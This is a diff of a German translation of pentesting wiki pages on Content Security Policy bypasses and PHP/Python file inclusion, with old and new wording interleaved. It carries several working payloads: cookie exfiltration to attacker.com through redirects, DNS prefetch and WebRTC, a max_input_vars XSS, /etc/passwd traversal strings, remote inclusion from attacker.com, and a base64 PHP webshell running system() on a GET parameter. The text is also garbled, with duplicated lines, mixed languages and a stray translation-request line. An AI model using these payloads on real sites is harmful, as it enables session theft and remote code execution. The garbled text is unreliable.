Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit Iframes in Bezug auf CSP haben, was zu potenziellem Leck von sensiblen Informationen aufgrund undefinierten Verhaltens führen kann.
Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu potenziellem leak sensibler Informationen führen kann.
Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
Eine andere Technik besteht darin, die CSP selbst auszunutzen, um das geheime Subdomain zu ermitteln. Diese Methode beruht auf einer binären Suche und darauf, die CSP so anzupassen, dass bestimmte Domains gezielt blockiert werden. Zum Beispiel, wenn das geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zu erlauben. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu ermöglichen:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Durch die Überwachung, welche Anfragen von der CSP blockiert oder erlaubt werden, kann man die möglichen Zeichen im geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.
Indem man überwacht, welche Anfragen von der CSP geblockt oder erlaubt werden, kann man die möglichen Zeichen der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.
Beide Methoden nutzen die Nuancen der CSP-Implementierung und -Verhalten in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.
Beide Methoden nutzen die Nuancen der CSP-Implementierung und des Verhaltens in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensitive Informationen leak.
Trick von [**hier**](https://ctftime.org/writeup/29310).
Trick von [**here**](https://ctftime.org/writeup/29310).
## Unsichere Technologien zum Umgehen von CSP
## Unsafe Technologies to Bypass CSP
### PHP-Fehler bei zu vielen Parametern
### PHP Errors when too many params
Laut der [**letzten Technik, die in diesem Video kommentiert wurde**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man es auch mit POST-Parametern und mehr als 20 Dateien tun kann) dazu, dass jeder definierte **`header()`** im PHP-Webcode **nicht gesendet wird**, aufgrund des Fehlers, den dies auslösen wird.
Laut der [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man das auch mit POST-Parametern und mehr als 20 Dateien machen kann) zu einem Fehler. Jede definierte **`header()`** im PHP-Webcode **wird nicht gesendet**, aufgrund des dadurch ausgelösten Fehlers.
### Überlastung des PHP-Antwortpuffers
### PHP response buffer overload
PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\
Die Technik besteht also im Wesentlichen darin, den **Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
PHP ist dafür bekannt, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher wird, wenn PHP eine Warnung ausgibt, durch das Bereitstellen von **genügend Daten in Warnungen** die **Antwort** **gesendet** **bevor** der **CSP-Header**, wodurch der Header ignoriert wird.\
Die Technik besteht im Wesentlichen darin, **den Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
Idee von [**diesem Bericht**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Kill CSP via max_input_vars (headers already sent)
Weil Header vor jeglicher Ausgabe gesendet werden müssen, können durch PHP ausgelöste Warnungen spätere `header()`-Aufrufe ungültig machen. Wenn Benutzereingaben `max_input_vars` überschreiten, wirft PHP zuerst eine Startup-Warnung; jeder nachfolgende `header('Content-Security-Policy: ...')` schlägt mit “headers already sent” fehl, wodurch CSP effektiv deaktiviert wird und sonst geblocktes reflective XSS erlaubt wird.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Bitte den Inhalt der Datei (README.md) hier einfügen, den ich ins Deutsche übersetzen soll. Ich liefere die Übersetzung unter Beibehaltung aller Markdown-/HTML-Tags, Links, Pfade und Codeabschnitte.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Fehlerseite umschreiben
Laut [**diesem Bericht**](https://blog.ssrf.kr/69) scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem eine Fehlerseite (möglicherweise ohne CSP) geladen und deren Inhalt umgeschrieben wurde.
Aus [**this writeup**](https://blog.ssrf.kr/69) geht hervor, dass es möglich gewesen sein könnte, einen CSP-Schutz zu bypassen, indem man eine Fehlerseite lädt (möglicherweise ohne CSP) und deren Inhalt umschreibt.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,41 +641,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem Endpunkt einer Seite** ausnutzt, um **andere Endpunkte derselben Herkunft zu missbrauchen.** Dies geschieht, indem der anfällige Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite auf den echten Endpunkt derselben Herkunft, den man missbrauchen möchte, aktualisiert wird. Auf diese Weise kann der **anfällige Endpunkt** das **`opener`**-Objekt im **Payload** verwenden, um auf das DOM des **echten Endpunkts, den man missbrauchen möchte,** zuzugreifen. Für weitere Informationen siehe:
SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) **in an endpoint of a page** ausnutzt, um **other endpoints of the same origin** zu missbrauchen. Das funktioniert, indem das vulnerable endpoint von einer attacker page geladen und anschließend die attacker page auf das reale endpoint derselben origin, das du ausnutzen willst, neu geladen wird. Auf diese Weise kann das **vulnerable endpoint** das **`opener`**-Objekt im **payload** verwenden, um das **DOM** des **real endpoint to abuse** zu erreichen. Weitere Informationen:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).
Außerdem hat **wordpress** einen **JSONP**-endpoint unter `/wp-json/wp/v2/users/1?_jsonp=data`, der die gesendeten **data** in der Ausgabe reflektiert (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).
Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachte, dass dieses **Script** **geladen** wird, weil es **von 'self'** erlaubt ist. Darüber hinaus, und da WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
An attacker kann dieses endpoint ausnutzen, um einen **SOME attack** gegen WordPress zu **generate** und ihn innerhalb von `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` zu **embed**. Beachte, dass dieses **script** **loaded** wird, weil es von **'self'** **allowed** ist. Außerdem, da WordPress installiert ist, könnte ein attacker die **SOME attack** über das **vulnerable callback endpoint** ausnutzen, das die **CSP** **bypasst**, um einem Benutzer mehr Rechte zu geben, ein neues Plugin zu installieren...\
Für weitere Informationen, wie dieser Angriff durchgeführt wird, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Wenn es eine strenge CSP gibt, die es dir nicht erlaubt, **mit externen Servern zu interagieren**, gibt es einige Dinge, die du immer tun kannst, um die Informationen zu exfiltrieren.
Wenn eine strikte CSP vorhanden ist, die es dir nicht erlaubt, mit **external servers** zu **interact**, gibt es einige Dinge, die du trotzdem tun kannst, um die Informationen zu exfiltrate.
### Location
Du könntest einfach die Location aktualisieren, um die geheimen Informationen an den Server des Angreifers zu senden:
Du könntest einfach die location aktualisieren, um die secret information an den attacker's server zu senden:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta-Tag
### Meta tag
Sie könnten umleiten, indem Sie einen Meta-Tag injizieren (das ist nur eine Umleitung, dies wird keinen Inhalt leaken)
Du könntest durch das Injizieren eines meta tag umleiten (das ist nur ein redirect, das wird keinen Inhalt leak)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und sie für die spätere Verwendung zwischenspeichern.\
Sie können einen Browser anweisen, einen Hostnamen vorab aufzulösen mit: `<link rel="dns-prefetch" href="something.com">`
Um Seiten schneller zu laden, lösen Browser Hostnamen vorab in IP-Adressen auf und zwischenspeichern sie für die spätere Verwendung.\
Du kannst einem Browser mitteilen, einen Hostnamen vorab aufzulösen mit: `<link rel="dns-prefetch" href="something.com">`
Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**:
Du könntest dieses Verhalten missbrauchen, um **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -676,18 +691,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Um dies zu vermeiden, kann der Server den HTTP-Header senden:
Um zu verhindern, dass dies passiert, kann der Server den HTTP-Header senden:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Offensichtlich funktioniert diese Technik nicht in headless-Browsern (Bots)
> Offenbar funktioniert diese Technik nicht in headless browsers (bots)
### WebRTC
Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.
Auf mehreren Seiten liest man, dass **WebRTC die `connect-src`-Richtlinie der CSP nicht überprüft**.
Tatsächlich kann man Informationen über eine _DNS-Anfrage_ _leaken_. Schau dir diesen Code an:
Tatsächlich kannst du Informationen _leak_ mittels einer _DNS request_. Schau dir diesen Code an:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -709,7 +724,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Das Anmeldefenster sendet eine DNS-Anfrage an die iconURL, ohne durch die Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
Das Credential-Popup sendet eine DNS-Anfrage an die iconURL, ohne von der Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -720,16 +735,16 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Überprüfung von CSP-Richtlinien online
## CSP-Richtlinien online überprüfen
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Automatisches Erstellen von CSP
## CSP automatisch erstellen
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Referenzen
## Quellen
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -739,6 +754,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,58 +4,57 @@
## File Inclusion
**Remote File Inclusion (RFI):** Die Datei wird von einem remote server geladen (Am besten: du kannst den code schreiben und der server wird ihn ausführen). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der server lädt eine lokale Datei.
**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Besser: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
Die Verwundbarkeit tritt auf, wenn der user auf irgendeine Weise die Datei kontrollieren kann, die vom server geladen werden soll.
Die Schwachstelle tritt auf, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.
Anfällige **PHP-Funktionen**: require, require_once, include, include_once
Ein nützliches Tool, um diese Verwundbarkeit auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE Dateien
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
Durch das Zusammenführen mehrerer *nix LFI-Listen und dem Hinzufügen weiterer Pfade habe ich diese erstellt:
**Durch Mischen mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Versuche auch, `/` durch `\` zu ersetzen
Versuche auch, `/` durch `\` zu ersetzen\
Versuche auch, `../../../../../` hinzuzufügen
Eine Liste, die verschiedene Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Zusammenführung verschiedener Wordlists:
Zusammenführung verschiedener wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Versuche auch, `/` durch `\` zu ersetzen
Versuche außerdem, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Versuche auch, `/` durch `\` zu ersetzen\
Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Siehe die LFI-Liste für Linux.
Sieh dir die LFI-Liste von linux an.
## Basic LFI and bypasses
## Grundlegendes zu LFI und bypasses
Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal-Sequenzen nicht rekursiv entfernt
### Traversal-Sequenzen werden nicht rekursiv entfernt
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +62,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass das Anhängen weiterer Zeichen am Ende des übergebenen Strings (bypass of: $\_GET\['param']."php")
Bypass des Anhängens weiterer Zeichen am Ende der bereitgestellten Zeichenkette (Bypass von: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Dies ist **seit PHP 5.4 behoben**
### **Encoding**
### **Kodierung**
Du könntest nicht-standardmäßige encodings wie double URL encode (und andere) verwenden:
Sie könnten nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Aus vorhandenem Ordner
### Vom vorhandenen Ordner
Möglicherweise überprüft das Back-end den Ordnerpfad:
Vielleicht überprüft das Backend den Ordnerpfad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkundung von Verzeichnissen im Dateisystem eines Servers
### Erkundung von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv durchsucht werden, um Verzeichnisse, nicht nur Dateien, zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Unten folgt eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann mithilfe bestimmter Techniken rekursiv durchsucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren. Dieser Prozess umfasst das Ermitteln der Verzeichnistiefe und das Abfragen des Vorhandenseins bestimmter Ordner. Im Folgenden wird eine detaillierte Methode beschrieben, um dies zu erreichen:
1. **Bestimme die Verzeichnistiefe:** Ermittle die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
1. **Verzeichnistiefe bestimmen:** Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (gilt, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und auf eine Tiefe von drei hinweisen:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
2. **Probe for Folders:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ergebnisse interpretieren:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Gefundene Ordner können weiter nach Unterverzeichnissen oder Dateien untersucht werden, entweder mit derselben Technik oder traditionellen Local File Inclusion (LFI)-Methoden.
4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.
Um Verzeichnisse an anderen Stellen im Dateisystem zu erkunden, passe das Payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein `private`-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu prüfen, passen Sie den payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein `private`-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich auf einer Tiefe von 3), verwenden Sie:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird oft eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad so zu erstellen, dass er, nachdem die Sicherheitsmaßnahme ihn verändert hat, immer noch auf die gewünschte Datei zeigt.
Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird oft verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu konstruieren, der — nachdem die Sicherheitsmaßnahme ihn verändert hat — weiterhin auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Funktionsweise des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
In PHP werden verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als gleichwertig betrachtet. Zum Beispiel:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), verändert das Hinzufügen von `/.` am Ende nicht die aufgerufene Datei.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die angesprochene Datei nicht.
- Ähnlich verhält es sich, wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`): Ein Hinzufügen von `/.` am Ende verändert die aufgerufene Datei nicht.
Die folgenden Beispiele zeigen, wie man path truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
Die folgenden Beispiele zeigen, wie man Path truncation nutzt, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel wegen seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +124,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In diesen Szenarien könnte die Anzahl benötigter Traversals etwa 2027 betragen, aber diese Zahl kann je nach server's Konfiguration variieren.
In diesen Szenarien kann die Anzahl der benötigten traversals etwa 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Zeichenfolgen durch den server effektiv zu ignorieren.
- **Determining the Required Number of Traversals**: Durch Versuch und Irrtum kann man die genaue Anzahl von `../`-Sequenzen herausfinden, die notwendig sind, um zum Root-Verzeichnis und anschließend zu `/etc/passwd` zu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme eingesetzt oder um die Anforderungen der Pfadparsing-Logik des server zu erfüllen.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen dot segments und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren.
- **Determining the Required Number of Traversals**: Durch Ausprobieren kann man die genaue Anzahl der `../`-Sequenzen ermitteln, die benötigt werden, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Strings (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen.
Beim Einsatz von path truncation-Techniken ist es entscheidend, das Path-Parsing-Verhalten des server und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Verwundbarkeit wurde in PHP 5.3 behoben.**
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,19 +144,19 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php ist dies standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
In php ist das standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off.** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, PHP den Zugriff auf externe Webseiten aber **filtert**, kann man [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) zum Beispiel das data protocol mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erzielen:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endete, also endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code eingebunden (und daher ausgeführt).
Ein weiteres Beispiel, das **nicht das `php://`-Protokoll verwendet**, wäre:
> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der attacker eine Zeichenfolge benötigte, die mit `.txt` endet. Die Zeichenfolge endet also damit und nach dem b64 decode liefert dieser Teil nur Junk zurück und der eigentliche PHP-Code wird eingebunden (und damit ausgeführt).
>
> Ein weiteres Beispiel, das **nicht das `php://` Protokoll verwendet**, wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -168,22 +167,22 @@ In python in einem Code wie diesem:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Wenn der Benutzer einen **absolute path** an **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
Wenn der Benutzer einen **absoluten Pfad** an **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
